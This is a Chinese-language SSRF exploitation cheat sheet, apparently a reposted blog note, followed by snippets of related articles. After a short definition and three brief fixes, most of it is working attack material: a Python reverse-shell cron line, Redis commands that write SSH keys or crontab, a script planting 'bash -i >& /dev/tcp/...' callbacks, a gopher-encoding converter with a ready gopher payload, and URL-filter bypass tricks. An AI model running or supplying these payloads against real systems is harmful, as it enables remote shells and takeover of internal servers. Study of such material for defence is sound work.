SSRF总结

ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。ssrf漏洞的危害可以通过ssrf漏洞可以对内网或本地机器进行主机发现,服务版本探测或者针对内网或本地一些薄弱的应用进行攻击,同时利用ssrf漏洞还可以时服务器主动发起请求,从而做为一个攻击跳板或者绕过CDN找到其服务器的真实ip
file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf
大部分 PHP 并不会开启 fopen 的 gopher wrapper
file_get_contents 的 gopher 协议不能 URLencode
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
curl_exec() //默认不跟踪跳转,
file_get_contents() // file_get_contents支持php://input协议

修复方法:

修复方案:

• 限制协议为HTTP、HTTPS

• 禁止30x跳转

• 设置URL白名单或者限制内网IP

反弹shell定时任务:

*/1 * * * * python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);‘

针对centos和ubuntu写定时任务的方法可能不同,具体见文章:

https://joychou.org/web/hackredis-enhanced-edition-script.html

通过SSRF还可以攻击redis和mysql

redis:

如果存在/root/.ssh目录,直接root权限写/root/.ssh/authorized_keys
如果不存在/root/.ssh目录,直接root写crontab定时任务

1.存在/root/.ssh目录

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/config get dirconfig set dbfilename "authorized_keys"savequit

2.不存在/root/.ssh目录则写crontab

可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

这里记录一下如何将命令行下的指令转换为gopher协议的数据格式,方便ssrf使用,利用socat进行端口数据转发,原理:

经过4444端口转发的数据包将被送到6379端口,即相当于一个中间人端口

若写入crontab的sheel脚本如下:

echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1\n\n" | redis-cli -h $1 -p $2 -x set aaa
redis-cli -h $1 -p $2 config set dir /etc/
redis-cli -h $1 -p $2 config set dbfilename crontab
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

其中-x参数是接收标准输入也就是通过|管道的输出,即echo的这一条crontab指令

然后执行:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
./rediscron.sh 127.0.0.1 4444

就会接收到:

此时只需要将其转换为gopher格式的数据:

根据转换规则:

如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

0d------回车符号------"/r"

0a------换行符号------"/n"

Windows 在行尾使用 CRLF (carriage return/line feed, 0d 0a)
   UNIX 只使用 LF(0a)

转换脚本如下:

#coding: utf-8
import sys
exp = ‘‘
with open("payload.txt") as f:
    for line in f.readlines():
        if line[0] in ‘><+‘:
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r‘\r‘:
            #如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + ‘%0a%0d%0a‘
            else:
                line = line.replace(r‘\r‘, ‘%0d%0a‘)
                # 去掉最后的换行符
                line = line.replace(‘\n‘, ‘‘)
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == ‘\x0a‘:
            exp = exp + ‘%0a‘
        else:
            line = line.replace(‘\n‘, ‘‘)
            exp = exp + line
print exp

输出为:

*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0aaaa%0d%0a$57%0d%0a%0a%0a* * * * * bash -i >& /dev/tcp/192.168.1.34/7777 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$5%0d%0a/etc/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$7%0d%0acrontab%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a

此时已经生成了gopher的数据,然后直接拼接:

gopher://ip:6379/_+payload   注意要加_

然后就会在监听端就会收到返回的shell。

通过gopher打mysql的话,直接将含有sql语句的数据包的16进制编码为gopher协议格式,见以下链接:

https://xz.aliyun.com/t/4420#toc-3

绕过技巧:

@

添加端口号

短网址绕过

指向任意IP的域名http://xip.io

http://10.0.0.1.xip.io resolves to 10.0.0.1

www.10.0.0.1.xip.io resolves to 10.0.0.1

http://mysite.10.0.0.1.xip.io resolves to 10.0.0.1

foo.http://bar.10.0.0.1.xip.io resolves to 10.0.0.1

IP限制绕过

十进制转换 八进制转换 十六进制转换 不同进制组合转换

协议限制绕过

栗子

当url协议限定只为http(s)时,可以利用follow redirect 特性
<?php header("Location:gopher://127.0.0.1:6379/_");?>
构造302跳转服务,

结合dict:// file:// gopher://

原文地址:https://www.cnblogs.com/wfzWebSecuity/p/11065224.html

时间: 2024-08-11 20:52:34

SSRF总结的相关文章

审计 6 SSRF和任意文件读取

1 <?php 2 error_reporting(0); 3 session_start(); 4 header("Content-type:image/jpeg"); 5 echo file_get_contents($_SESSION['avatar']); 6 ?> 在第5行发现    读取的文件后,将文件进行了输出.  所以猜测此处可能存在SSRF 和  任意文件读取 搜索关键变量$_SESSION['avatar']  发现在登陆 和修改密码 读取了改变量,而上

SSRF漏洞的挖掘经验

本文转自:https://sobug.com/article/detail/11 SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.比如从指定URL地址获取

SSRF漏洞分析,利用及其防御

0x00 什么是SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种有攻击者构造形成有服务器发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统. 0x01 SSRF是如何产生的 SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.比如从指定URL地址获取网页完本内容.加载指定地址的图片.下载等. 0x02 SSRF的利用场景 <meta charset="utf-8

SSRF

SSRF是什么: SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(大厂商的内网). SSRF产生原因: SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制. 比如从指定URL地址获取网页文本内容.加载指定地址的图片.下载等 常见产生点: 1.weblogic中间件 2.php代码 file_get_co

骚年,看我如何把 PhantomJS 图片的 XSS 升级成 SSRF/LFR

这篇文章实在是太好了,我看了好几篇,所以极力推荐给大家 原文地址 http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ 译文地址 https://xianzhi.aliyun.com/forum/read/1808.html 转载至 http://paper.seebug.org/344/ 在一次赏金程序中,我碰见这么一个请求,用户输入然后生成图片供下载.过了

转:Python安全 - 从SSRF到命令执行惨案

转:https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html Python安全 - 从SSRF到命令执行惨案 PHITHON 前两天遇到的一个问题,起源是在某个数据包里看到url=这个关键字,当时第一想到会不会有SSRF漏洞. 以前乌云上有很多从SSRF打到内网并执行命令的案例,比如有通过SSRF+S2-016漏洞漫游内网的案例,十分经典.不过当时拿到这个目标,我只是想确认一下他是不是SSRF漏洞,没想到后面找

浅谈SSRF漏洞

转自:http://www.cnblogs.com/s0ky1xd/p/5859049.html 浅谈SSRF漏洞 SSRF漏洞是如何产生的? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有

SSRF攻击实例解析

ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器.这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery). 比如下图显示的就是提供这种功能的典型应用: 如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷.Google,F

web安全之ssrf

ssrf(服务器端请求伪造)原理: 攻击者构造形成由服务端发起请求的一个漏洞.把服务端当作跳板来攻击其他服务,SSRF的攻击目标一般是外网无法访问到的内网 当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容.加载指定地址的图片.下载等),但是没有对目标地址做过滤与限制时就会出现SSRF. 成因: 大部分是由于服务端提供啦从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制. SSRF的危害 可以扫描内部网络            可以构造数据攻击内部主机 相关函

SSRF漏洞学习

SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统.(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等. 参考: http://evi1cg.me